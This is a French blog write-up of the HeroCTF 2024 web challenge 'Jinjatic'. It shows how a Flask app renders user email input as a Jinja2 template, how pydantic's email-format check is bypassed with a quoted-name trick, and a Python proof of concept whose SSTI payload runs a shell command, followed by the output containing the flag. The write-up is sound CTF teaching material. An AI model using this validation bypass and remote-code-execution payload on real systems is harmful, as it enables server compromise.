Aller au contenu
  1. Writeups/

HeroCTF 2024: Jinjatic

639 mots·3 mins·
HEROCTF WEB EZ
Fayred
Auteur
Fayred
Passionné par l’informatique en général et plus particulièrement par la sécurité informatique. Amateur de CTFs et débutant en Bug Bounty, je cherche avant tout à apprendre, m’amuser et partager ce que j’ai appris.
Sommaire

Énoncé
#

A platform that allows users to render welcome email’s template for a given customer, sounds great no ?

Deploy on deploy.heroctf.fr

Format: Hero{flag}

Author: Worty

Aperçu
#

Pour ce challenge web, voici les fichiers sources fournis:

.
├── challenge.yml
├── dist
│   └── jinjatic.tar.xz
├── docker-compose.yml
├── Makefile
├── README.md
└── src
    ├── challenge
    │   ├── app.py
    │   ├── requirements.txt
    │   └── templates
    │       ├── home.html
    │       ├── mail.html
    │       └── result.html
    ├── Dockerfile
    ├── flag.txt
    └── getflag.c

5 directories, 13 files

Le site web est simple, il y a peu d’éléments. Seulement un formulaire dans /main qui prend une adresse mail et le reflète dans la page. Une vérification est faite côté backend, pour s’assurer que la valeur envoyée correspond bien au format d’une adresse mail.

Pour récupérer le flag, il va falloir RCE pour exécuter le binaire getflag.

Résolution
#

Afin de résoudre ce challenge, il va falloir trouver comment bypass la vérification sur le format de l’adresse mail. Ensuite il suffit d’exploiter une SSTI pour RCE.

Server Side Template Injection
#

Pour commencer, si on observe le code de l’application, on se rend vite compte qu’une SSTI est possible:

email_template = '''
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Email Result</title>
    <link href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" rel="stylesheet">
</head>
<body>
    <div class="container mt-5">
        <div class="alert alert-success text-center">
            <h1>Welcome on the platform !</h1>
            <p>Your email to connect is: <strong>%s</strong></p>
        </div>
        <a href="/mail" class="btn btn-primary">Generate another welcome email</a>
    </div>

    <script src="https://code.jquery.com/jquery-3.5.1.slim.min.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@4.5.2/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>
'''

...

@app.route('/render', methods=['POST'])
def render_email():
    email = request.form.get('email')

    try:
        email_obj = EmailModel(email=email)
        return Template(email_template%(email)).render()
    except ValidationError as e:
        return render_template('mail.html', error="Invalid email format.")

La valeur de la variable email est placée dans email_template et est ensuite rendu, il est donc possible d’envoyer par exemple {{ 7*7 }}@mail.com et le rendu affichera 49@mail.com. Cependant, le fait que la variable email passe par la classe EmailModel(), crée une erreur lorsque l’on commence à mettre des guillemets ou des parenthèses.

Analyse et bypass de la classe EmailModel
#

Pour éviter de trigger l’erreur et pour qu’on puisse utiliser les parenthèses, ainsi que les guillemets afin d’exécuter une payload pour RCE via la SSTI. Il va falloir trouver l’endroit où le check sur le format de l’email est effectué dans la classe EmailModel ou plutôt dans EmailStr.

Si on suit un peu le code, on tombe dans la classe EmailStr, puis dans _validate() et dans validate_email(). Dans cette fonction on y retrouve ces lignes:

m = pretty_email_regex.fullmatch(value) # value = email
name: str | None = None
if m:
    unquoted_name, quoted_name, value = m.groups()
    name = unquoted_name or quoted_name

    email = value.strip()

try:
    parts = email_validator.validate_email(email, check_deliverability=False)
except email_validator.EmailNotValidError as e:
    raise PydanticCustomError(
        'value_error', 'value is not a valid email address: {reason}', {'reason': str(e.args[0])}
    ) from e

On comprend que pour éviter de trigger une erreur, en utilisant les guillemets ou les parenthèses, il faut match le groupe quoted_name. La regex à matcher se situe dans pretty_email_regex:

def _build_pretty_email_regex() -> re.Pattern[str]:
    name_chars = r'[\w!#$%&\'*+\-/=?^_`{|}~]'
    unquoted_name_group = rf'((?:{name_chars}+\s+)*{name_chars}+)'
    quoted_name_group = r'"((?:[^"]|\")+)"'
    email_group = r'<\s*(.+)\s*>'
    return re.compile(rf'\s*(?:{unquoted_name_group}|{quoted_name_group})?\s*{email_group}\s*')


pretty_email_regex = _build_pretty_email_regex()

Lorsque l’on match quoted_name_group, il faut aussi matcher avec email_group. Le bon format à utiliser est donc celui ci: "(SSTI)" <fayred@example.com>.

Exploitation
#

Maintenant qu’on peut utiliser les parenthèses et les guillemets, il ne manque plus qu’à récupérer un payload SSTI pour RCE, ceux sur Hacktricks par exemple.

PoC:

import requests
url = 'http://dyn03.heroctf.fr:14993/render'
payload = """{{cycler.__init__.__globals__.os.popen('../getflag').read()}}"""
r = requests.post(url, data={'email': f'"({payload})" <fayred@example.com>'})
print(r.text)

Résultat:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Email Result</title>
    <link href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" rel="stylesheet">
</head>
<body>
    <div class="container mt-5">
        <div class="alert alert-success text-center">
            <h1>Welcome on the platform !</h1>
            <p>Your email to connect is: <strong>"HERO{f815460cee723a7d1ba1f0a70f68482c}" <fayred@example.com></strong></p>
        </div>
        <a href="/mail" class="btn btn-primary">Generate another welcome email</a>
    </div>

    <script src="https://code.jquery.com/jquery-3.5.1.slim.min.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@4.5.2/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>

Flag: HERO{f815460cee723a7d1ba1f0a70f68482c}

Référence
#

Articles connexes

L4ugh CTF 2024: Micro
421 mots·2 mins
L4UGH CTF WEB EZ
YesWeHack: Dojo 36
843 mots·4 mins
YESWEHACK WEB
Patriot CTF 2024: Secret Door
843 mots·4 mins
PATRIOT CTF WEB MEDIUM
Patriot CTF 2024: DogDay
746 mots·4 mins
PATRIOT CTF WEB CRYPTO MEDIUM
RSA pour les nuls (comme moi)
570 mots·3 mins
CRYPTO NOOB